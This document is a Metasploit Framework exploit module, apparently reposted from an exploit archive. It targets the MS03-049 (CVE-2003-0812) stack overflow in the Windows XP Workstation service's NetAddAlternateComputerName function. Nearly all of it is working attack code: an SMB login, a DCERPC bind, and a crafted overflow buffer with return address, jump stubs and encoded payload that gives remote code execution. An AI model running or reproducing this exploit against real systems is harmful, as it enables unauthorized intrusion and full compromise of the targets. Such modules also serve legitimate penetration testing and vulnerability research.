Microsoft Workstation Service NetAddAlternateComputerName Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::DCERPC  
include Msf::Exploit::Remote::SMB  
  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft Workstation Service NetAddAlternateComputerName Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the NetApi32 NetAddAlternateComputerName  
function using the Workstation service in Windows XP.  
},  
'Author' =>   
[  
'hdm'  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-0812' ],  
[ 'OSVDB', '11461' ],  
[ 'BID', '9011' ],  
[ 'MSB', 'MS03-049' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{   
'Space' => 1000,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'DefaultTarget' => 0,  
'Targets' =>   
[  
[ 'Windows XP SP0/SP1',   
{  
'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll  
}   
],  
],  
  
'DisclosureDate' => 'Nov 11 2003'))  
  
register_options(  
[  
OptString.new('SMBPIPE', [ true, "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),  
], self.class)  
  
end  
  
def exploit   
  
connect()  
smb_login()  
  
handle = dcerpc_handle(  
'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',   
'ncacn_np', ["\\#{datastore['SMBPIPE']}"]  
)  
  
print_status("Binding to #{handle} ...")  
dcerpc_bind(handle)  
print_status("Bound to #{handle} ...")  
  
print_status("Building the stub data...")   
  
  
name = rand_text_alphanumeric(5000)  
name[3496, 4] = [target.ret].pack('V')  
name[3492, 2] = "\xeb\x06"  
name[3500, 5] = "\xe9" + [-3505].pack('V')  
name[0, payload.encoded.length] = payload.encoded  
  
stub =   
NDR.long(rand(0xffffffff)) +  
NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +  
NDR.long(rand(0xffffffff)) +  
NDR.UnicodeConformantVaryingString(name) +  
NDR.long(rand(0xffffffff)) +  
NDR.UnicodeConformantVaryingString('') +  
NDR.long(0) +  
NDR.long(0)  
  
print_status("Calling the vulnerable function...")  
  
begin  
dcerpc.call(0x1b, stub)  
rescue Rex::Proto::DCERPC::Exceptions::NoResponse  
rescue => e  
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/  
raise e  
end  
end  
  
# Cleanup  
handler  
disconnect  
end  
  
end  
`